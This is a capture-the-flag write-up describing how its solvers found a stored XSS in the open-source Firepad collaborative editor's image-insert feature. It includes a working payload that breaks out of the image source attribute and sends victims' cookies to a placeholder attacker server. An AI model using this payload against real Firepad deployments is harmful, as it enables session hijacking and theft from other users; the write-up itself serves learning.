Old software, good software:

Clone and pwn: https://github.com/FirebaseExtended/firepad

Category: Web

Solver: 3mb0, mp455

Flag: GPNCTF{fun_w1th_0p3n_s0urc3}

Scenario

The challenge links to the open source software FirePad which is a Collaborative Text Editor Powered by Firebase. Additionally, the challenge provides a simple HTTP instance with the text No admin running at the moment. Start (120s timeout) and the Start link. The link redirects to an intermediate page Your pad link: admin starting up, check back in a moment and after refreshing provides a link to a pad on the public firepad demo site Your pad link: https://demo.firepad.io/#lAAYHJ0FCw.

The FirePad-Demo site is a collaborative editor, and we even see that another Guest is visiting the pad.

FirePad-Demo

Analysis

When strolling through the OWASP Top 10 Web Application Security Risks, we come across

  1. A01:2021-Broken Access Control
  2. A02:2021-Cryptographic Failures
  3. A03:2021-Injection: Since an admin is visiting the pad simultaneously, injection attacks such as XSS seem to be the most promising attack vector.

As the description hints that the vulnerability lies in the source code, we try to find an XSS vulnerability inside the JavaScript code. When analyzing the code base, we realize that most features are provided by the CodeMirror library. FirePad itself adds only a few additional features.

A common XSS attack vector is that user input can be injected into innerHTML. Firepad sets the innerHTML twice [1] [2]. FirePad is meant to be embedded by other websites and provides parameters for customization. The first occurrence is such a parameter to i.e. set the placeholder text. The second occurrence is triggered by every Annotation change that happens whenever something is typed in the CodeMirror editor.
The HTML rendered there comes from a function that has to be registered i.e. at the initialization. The only registered annotation renderer is the img-handler. This function is vulnerable to XSS as it just concatenates the user input into the image source field [ref].

Exploit

The typical scenario for an XSS attack is to steal secrets i.e. the cookies from an admin.

We build an exploit that abuses the image insert feature. The UI provides an image-insert-button that prompts the user to enter an image source address. We enter an invalid source address, break out of the source address with a quote ("), and enter an onerror field that contains our payload. The payload is executed by every browser seeing the image in the pad. It redirects the user to a controlled server and encodes the cookies as query parameters.

Demo Exploit:

error" onerror="alert(1)

Exploit

error" onerror="location.href='http://xxx.xxx.xxx.xxx/?c='+document.cookie

When exploiting the demo pad, we can read the leaked cookies containing the flag in our web server’s access log.